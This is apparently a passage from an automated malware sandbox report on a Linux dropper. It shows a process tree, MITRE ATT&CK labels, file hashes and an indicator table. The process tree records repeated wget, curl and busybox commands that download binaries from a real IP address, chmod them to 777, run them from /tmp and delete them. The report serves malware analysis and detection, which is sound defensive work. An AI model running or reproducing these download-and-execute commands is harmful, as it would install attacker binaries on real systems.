  ./4xJyuanQGYY2ar4L3IzfVQJACUZ107WoIK
  2⤵
  - Executes dropped EXE
  PID:964
- /bin/rm
  rm 4xJyuanQGYY2ar4L3IzfVQJACUZ107WoIK
  2⤵
  PID:965
- /usr/bin/wget
  wget http://87.120.84.230/bins/NXZW3RmaqiIvjrZpvLXd0mGC4pJQOfos68
  2⤵
  PID:966
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/NXZW3RmaqiIvjrZpvLXd0mGC4pJQOfos68
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:967
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/NXZW3RmaqiIvjrZpvLXd0mGC4pJQOfos68
  2⤵
  PID:968
- /bin/chmod
  chmod 777 NXZW3RmaqiIvjrZpvLXd0mGC4pJQOfos68
  2⤵
  - File and Directory Permissions Modification
  PID:969
- /tmp/NXZW3RmaqiIvjrZpvLXd0mGC4pJQOfos68
  ./NXZW3RmaqiIvjrZpvLXd0mGC4pJQOfos68
  2⤵
  - Executes dropped EXE
  PID:970
- /bin/rm
  rm NXZW3RmaqiIvjrZpvLXd0mGC4pJQOfos68
  2⤵
  PID:971
- /usr/bin/wget
  wget http://87.120.84.230/bins/b86Pem7AP1H2YxzQUxeBvEEYQ4reJQojem
  2⤵
  PID:972
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/b86Pem7AP1H2YxzQUxeBvEEYQ4reJQojem
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:973
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/b86Pem7AP1H2YxzQUxeBvEEYQ4reJQojem
  2⤵
  PID:974
- /bin/chmod
  chmod 777 b86Pem7AP1H2YxzQUxeBvEEYQ4reJQojem
  2⤵
  - File and Directory Permissions Modification
  PID:975
- /tmp/b86Pem7AP1H2YxzQUxeBvEEYQ4reJQojem
  ./b86Pem7AP1H2YxzQUxeBvEEYQ4reJQojem
  2⤵
  - Executes dropped EXE
  PID:976
- /bin/rm
  rm b86Pem7AP1H2YxzQUxeBvEEYQ4reJQojem
  2⤵
  PID:977
- /usr/bin/wget
  wget http://87.120.84.230/bins/V2i6G0yAVJXfvK2VMvZk95qpfg440yCSgj
  2⤵
  PID:978
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/V2i6G0yAVJXfvK2VMvZk95qpfg440yCSgj
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:979
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/V2i6G0yAVJXfvK2VMvZk95qpfg440yCSgj
  2⤵
  PID:980
- /bin/chmod
  chmod 777 V2i6G0yAVJXfvK2VMvZk95qpfg440yCSgj
  2⤵
  - File and Directory Permissions Modification
  PID:981
- /tmp/V2i6G0yAVJXfvK2VMvZk95qpfg440yCSgj
  ./V2i6G0yAVJXfvK2VMvZk95qpfg440yCSgj
  2⤵
  - Executes dropped EXE
  PID:982
- /bin/rm
  rm V2i6G0yAVJXfvK2VMvZk95qpfg440yCSgj
  2⤵
  PID:983

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

b86Pem7AP1H2YxzQUxeBvEEYQ4reJQojem

Path /tmp/b86Pem7AP1H2YxzQUxeBvEEYQ4reJQojem
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/b86Pem7AP1H2YxzQUxeBvEEYQ4reJQojem	740	b86Pem7AP1H2YxzQUxeBvEEYQ4reJQojem
/tmp/V2i6G0yAVJXfvK2VMvZk95qpfg440yCSgj	748	V2i6G0yAVJXfvK2VMvZk95qpfg440yCSgj
/tmp/Jv5ukJoytHudMJmNGGPhRYQAEvYCYViQ5i	754	Jv5ukJoytHudMJmNGGPhRYQAEvYCYViQ5i
/tmp/BPimxXgwh6cqmGWUBIARmoFcZckCnHB77F	777	BPimxXgwh6cqmGWUBIARmoFcZckCnHB77F
/tmp/HyMOJy2XXCRP94N09ltzSWOYtQV4rHGT2E	797	HyMOJy2XXCRP94N09ltzSWOYtQV4rHGT2E
/tmp/R2W5RHWmosXU10OGiD9LVgfYiTIJPVpgaV	820	R2W5RHWmosXU10OGiD9LVgfYiTIJPVpgaV
/tmp/NIaPuXz8a4WLPXXw7uzm17KL08nG36LTby	826	NIaPuXz8a4WLPXXw7uzm17KL08nG36LTby
/tmp/LHygiawFhu9RqvVnFWhdDfkp2a0857vNgA	840	LHygiawFhu9RqvVnFWhdDfkp2a0857vNgA
/tmp/yT03amHmiIHCNcS4Wa3bACXWU8peSMhx1D	861	yT03amHmiIHCNcS4Wa3bACXWU8peSMhx1D
/tmp/5qThI8gARDw1eHM3KkZxdxjYrlFHsYnBif	874	5qThI8gARDw1eHM3KkZxdxjYrlFHsYnBif
/tmp/GDOEU4Bz2VgofxG9eviqMTq5DspMxd11Nb	880	GDOEU4Bz2VgofxG9eviqMTq5DspMxd11Nb
/tmp/pzSHPXvnL9EXiKi9j7Et2ZVMGo1UA9IgEe	886	pzSHPXvnL9EXiKi9j7Et2ZVMGo1UA9IgEe
/tmp/4xJyuanQGYY2ar4L3IzfVQJACUZ107WoIK	892	4xJyuanQGYY2ar4L3IzfVQJACUZ107WoIK
/tmp/NXZW3RmaqiIvjrZpvLXd0mGC4pJQOfos68	898	NXZW3RmaqiIvjrZpvLXd0mGC4pJQOfos68
/tmp/Jv5ukJoytHudMJmNGGPhRYQAEvYCYViQ5i	904	Jv5ukJoytHudMJmNGGPhRYQAEvYCYViQ5i
/tmp/BPimxXgwh6cqmGWUBIARmoFcZckCnHB77F	910	BPimxXgwh6cqmGWUBIARmoFcZckCnHB77F
/tmp/HyMOJy2XXCRP94N09ltzSWOYtQV4rHGT2E	916	HyMOJy2XXCRP94N09ltzSWOYtQV4rHGT2E
/tmp/R2W5RHWmosXU10OGiD9LVgfYiTIJPVpgaV	922	R2W5RHWmosXU10OGiD9LVgfYiTIJPVpgaV
/tmp/NIaPuXz8a4WLPXXw7uzm17KL08nG36LTby	928	NIaPuXz8a4WLPXXw7uzm17KL08nG36LTby
/tmp/LHygiawFhu9RqvVnFWhdDfkp2a0857vNgA	934	LHygiawFhu9RqvVnFWhdDfkp2a0857vNgA
/tmp/yT03amHmiIHCNcS4Wa3bACXWU8peSMhx1D	940	yT03amHmiIHCNcS4Wa3bACXWU8peSMhx1D
/tmp/5qThI8gARDw1eHM3KkZxdxjYrlFHsYnBif	946	5qThI8gARDw1eHM3KkZxdxjYrlFHsYnBif
/tmp/GDOEU4Bz2VgofxG9eviqMTq5DspMxd11Nb	952	GDOEU4Bz2VgofxG9eviqMTq5DspMxd11Nb
/tmp/pzSHPXvnL9EXiKi9j7Et2ZVMGo1UA9IgEe	958	pzSHPXvnL9EXiKi9j7Et2ZVMGo1UA9IgEe
/tmp/4xJyuanQGYY2ar4L3IzfVQJACUZ107WoIK	964	4xJyuanQGYY2ar4L3IzfVQJACUZ107WoIK
/tmp/NXZW3RmaqiIvjrZpvLXd0mGC4pJQOfos68	970	NXZW3RmaqiIvjrZpvLXd0mGC4pJQOfos68
/tmp/b86Pem7AP1H2YxzQUxeBvEEYQ4reJQojem	976	b86Pem7AP1H2YxzQUxeBvEEYQ4reJQojem
/tmp/V2i6G0yAVJXfvK2VMvZk95qpfg440yCSgj	982	V2i6G0yAVJXfvK2VMvZk95qpfg440yCSgj